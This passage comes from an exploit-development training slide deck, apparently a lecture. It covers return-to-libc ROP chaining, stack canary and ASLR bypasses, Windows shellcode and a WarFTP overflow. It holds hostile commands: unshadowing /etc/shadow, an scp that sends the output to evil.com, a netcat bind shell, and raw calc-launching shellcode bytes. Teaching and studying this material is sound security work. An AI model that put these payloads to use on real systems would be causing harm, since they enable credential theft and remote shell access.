  • 94. “Let improve Ret-2-Libc to ROP Chaining”
  • 95. AAAAAAAAAAAAA SFP RP = Arg1system xf0x4execxb7 x98xfaxffxbfNC = ROP CHAIN RP
  • 102. ROP CHAIN Arg1system system Arg2RP system Arg3RP
  • 103. ROP CHAIN Arg1system system Arg2RP system Arg3RP
  • 104. ROP CHAIN Arg1system system Arg2 system Arg3 Argn-2system system Argn-1 system Argn
  • 105. export ARG1=“unshadow /etc/passwd /etc/shadow > /output.txt” export ARG2=“scp haker@evil.com:output.txt /home/haker” . . . . export ARGn=“nc –l –p 4444 –e /bin/sh” ROP CHAIN
  • 106. “How can we chain them ?”
  • 107. “We need POP POP RET” ROP Gadget
  • 109. ROP CHAIN POP POP RET Arg1system RP Arg2system
  • 112. ROP CHAIN Arg1system system Arg2 system Arg3 Argn-2system system Argn-1 system Argn RP = xc5x85x48x80 (POP|POP|RET) RP RP RP RP RP
  • 113. ROP CHAIN python -c 'print "A"*12 + "x[syscall.addr.]" + "x[P/P/R addr.]" + "x[addr.arg1]" + "PADS" + "x[syscall.addr.]" + "x[P/P/R addr.]" + "x[addr.arg2]“ + "PADS" + "x[syscall.addr.]" + "x[P/P/R addr.]" + "x[addr.arg3]“ + "PADS" + "x[syscall.addr.]" + "x[P/P/R addr.]" + "x[addr.arg4]“ + "PADS" + . . . "x[syscall.addr.]" + "x[P/P/R addr.]" + "x[addr.argN]“ + "PADS" +
  • 114. Chapter IIX “Stack Guard (Canary)” Cookie of death
  • 115. STACK GUARD (CANARY)  Protection mechanism place in stack (8 byte) to detect the overflow and preventing to control RP  Need to include when we compile program  gcc -fstack-protector code.c -o myprogram  If canary overwritten the program will be terminated  Type of Canary  NULL canary (0x00000000)  Terminator canary (0x00000aff – 0x000aff0d)  Random canary (Unpredicted 4 byte) AAAAAAAAAAAAAAAAAAAA AAAA AAAA AAAA SFP RPCanary
  • 116.  For Null canary and Terminator canary can be defeated by “Canary repaired”  NULL canary only app use gets() function AAA…AAA00000000AAAA[RP]x90x90x90x[Shellcode]x0a  Terminator canary (always 0x00000aff)  app use gets() function  app use strcpy() function and need more than 1 arg AAA…AAAAAAA0affAAAA[RP]x90x90x90x[Shellcode]00 BBB…BBBBB00 CCC…CCC00 AAA…AAA00000affAAAA[RP]x90x90x90x[Shellcode] STACK GUARD (CANARY) DEFEAT Arg1= Arg2= Arg3=
  • 117. STACK GUARD (CANARY) DEFEAT EXAMPLE  Find opportunity to exploit
  • 118. STACK GUARD (CANARY) DEFEAT EXAMPLE  Find opportunity to exploit Canary value = 0x00000aff (It is a terminator canary ^_^)
  • 119. STACK GUARD (CANARY) DEFEAT EXAMPLE  Run exploit
  • 120. Demo #5 Exploit to get root privilege with canary repaired STACK GUARD (CANARY) DEFEAT
  • 122. ADDRESS SPACE LAYOUT RANDOMIZATION (ASLR)  Technique use prevent an attacker jumping to a particular exploited code in memory by random the virtual address in every runtime.
  • 123. ADDRESS SPACE LAYOUT RANDOMIZATION (ASLR) x90x90x90 x90x90 + [Shell Code] + AAAAAAAAAAAAAAAAAAAAA RP……. Random is 2 So, Possibility =1/2 or 0.000001 20 20 How can we increase possibility to jump to shell code ?
  • 124. ADDRESS SPACE LAYOUT RANDOMIZATION (ASLR) DEFEAT METHOD AAAAAAAAAAAAAAAAAAAAAAA RP /x90/x90/x90/x[ shell code ]……. JMP ESP esp  If OS kernel has some static lib kernel < 2.6.20. Use JMP ESP (Trampoline) instruction in that static lib to bring RP to shell code INC EAX ADD EBS, EBP ….
  • 125. ADDRESS SPACE LAYOUT RANDOMIZATION (ASLR) DEFEAT METHOD  If OS kernel has not static lib (kernel >= 2.6.20 ), need to write application to call vulnerable application to limit random address space (App wrap up) AAAAAAAAAAAAAAAAAAAAAAAAA RP /x90/x90/x90/x90/x90/x90/x90/x90 /x90/x90/x90/x90/x90/x90/x90/x90/x90 /x90/x90/x90/x90/x[ shell code ] Check current ESP value and Set RP = ESP + [vul app buffer]
  • 126.  Wrap up app ADDRESS SPACE LAYOUT RANDOMIZATION (ASLR) DEFEAT METHOD
  • 127. ADDRESS SPACE LAYOUT RANDOMIZATION (ASLR) DEFEAT METHOD  Result
  • 128. Chapter X “Compare Windows & unix exploit”
  • 129. DIFFERENCE OF UNIX AND WINDOWS APPLICATION EXPLOIT  Unix application directly communicate to kernel  Window application must communicate through Window API (Not directly communicate to kernel) . It’s make more difficult to exploit App Kernel App KernelAPI
  • 130. WINDOW SHELLCODE  Static Shellcode (Example for window XP)  Static or fix memory address of windows API that use in exploit code (Specific OS version and SP)  Find address of WinExec() > use to execute cmd / app  Find address of ExitProcess() > use to clear register  Portable Shellcode  Dynamically find memory address of need window API by using 2 useful windows API  LoadLibraryA() to get Hmodule (DLL's base address )  GetProcessAddress() to get real address of function  Get address of WinExec()  Get address of ExitProcess()
  • 131.  Normally, virus use LoadLibraryA() and GetProcessAddress() to make portable expliot WINDOW SHELLCODE
  • 132. WINDOW SHELLCODE  Static Shellcode (Example for window XP)
  • 133. WINDOW SHELLCODE  Static Shellcode (Example for window XP) xebx1bx5bx31xc0x50x31xc0x88x43x59x53xbbx4dx11x86x7c xffxd3x31xc0x50xbbxa2xcax81x7cxffxd3xe8xe0xffxffxffx63 x61x6cx63x2ex65x78x65
  • 134. BASIC STACK BUFFER OVERFLOW ON WINDOWS APPLICATION
  • 135.  Found the vulnerability of application BASIC STACK BUFFER OVERFLOW ON WINDOWS APPLICATION
  • 136.  Input to the system is larger than the size of buffer that declare to be used AAAABBBBCCCC.....KKKKLLLLMMMM SFP RP char local[49]; BASIC STACK BUFFER OVERFLOW ON WINDOWS APPLICATION AAAABBBBCCCC.....KKKKLLLLMMMM NNNN OOOOPPPP ESP
  • 137.  Find address to jump to exploit code BASIC STACK BUFFER OVERFLOW ON WINDOWS APPLICATION x90x90x90x90…[shellcode]…AAAAAAAA RP * RP = “x40xffx13
  • 138.  Exploit Successful BASIC STACK BUFFER OVERFLOW ON WINDOWS APPLICATION Successfully exploit. But calc.exe run as your permission not “Administrator”
  • 139.  Imagine, if some windows application provide network service like FTP that start by “SYSTEM” account and have buffer overflow vulnerability (Ex: WarFTP app) BASIC STACK BUFFER OVERFLOW ON WINDOWS APPLICATION
  • 140. BASIC STACK BUFFER OVERFLOW ON WINDOWS APPLICATION
  • 141. BASIC STACK BUFFER OVERFLOW ON WINDOWS APPLICATION
  • 142. BASIC STACK BUFFER OVERFLOW ON WINDOWS APPLICATION FTP 192.168.1.2 USER AAAAAA….AAAA $JMP_ESP x90x90x90x90 SYSCODE RP ESP
  • 143.  After connect back to open port, user/password to the system to confirm that we successfully get system privilege BASIC STACK BUFFER OVERFLOW ON WINDOWS APPLICATION
  • 144.  Rule of permission gaining in Windows exploit  If we exploit the application, we will get the permission as who start or run the application  If application or service start or run by “Administrator” or “SYSTEM” account, we will gain “Administrator” or “SYSTEM” privilege  All windows vulnerability that attacker use to compromise OS occurred form successfully exploit “SYSTEM” service BASIC WINDOWS EXPLOITATION
  • 145.  DLL injection exploitation  SafeSeh (Structured Exception Handling) and Abuse  Windows ASLR and how to defeat  Windows DEP and how to defeat  GS protection in Windows application and how to defeat  Advance pivoting attack technique  HEAP overflow / Heap Spray / Use After free “Unfortunately, We have not enough time to walk through” MORE INTERESTING TOPIC FOR WINDOWS
  • 146.  CoreLAN team : https://www.corelan.be  NetSEC : http://netsec.ws/?p=180  http://www.cis.syr.edu/~wedu/education/buffer_ov erflow.html LEARNING SITE
  • 147. REFERENCE  SANS 660 Advanced Penetration Testing, Exploit Writing, and Ethical Hacking  GIAC GXPN : Exploit Researcher and Advanced Penetration Tester  Protecting Against Address Space Layou Randomization (ASLR) Compromises and Return-to- Libc Attacks Using Network Intrusion Detection Systems. David J. Day, Zheng-Xu Zhao, November 2011, Volume 8, Issue 4, pp 472-483  Cowan, C. Buffer Overflow Attacks. StackGuard:Automatic Adaptive Detection and Prevention of Buffer-Overflow Attacks. 1 October 2008.  Defeating PaX ASLR protection. Durden, T. 59, s.l. :Phrack, 2002, Vol. 12.